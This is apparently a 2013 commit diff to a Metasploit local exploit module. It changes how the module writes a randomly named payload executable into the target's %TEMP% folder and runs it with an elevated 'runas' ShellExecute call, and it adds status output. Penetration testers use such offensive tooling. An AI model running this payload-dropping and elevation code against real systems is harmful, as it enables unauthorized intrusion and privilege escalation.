add some output and fixing

bug/bundler_fix
Rob Fuller 2013-10-07 15:42:41 -04:00
parent 75d2abc8c2
commit aed2490536
1 changed files with 7 additions and 2 deletions

View File

@ -44,8 +44,13 @@ class Metasploit3 < Msf::Exploit::Local
payload = generate_payload_exe
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tmpdir = session.fs.file.expand_path("%TEMP%")
session.fs.file.upload_file("#{tmpdir}\\#{payload_filename}", payload)
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
tempexe = tmpdir + "\\" + payload_filename
fd = session.fs.file.new(tempexe, "wb")
fd.write(payload)
fd.close
print_status("Uploading payload: #{tmpdir}\\#{payload_filename}")
session.railgun.shell32.ShellExecuteA(nil,"runas","#{tmpdir}\\#{payload_filename}",nil,nil,5)
print_status("Payload executed")
end
def exploit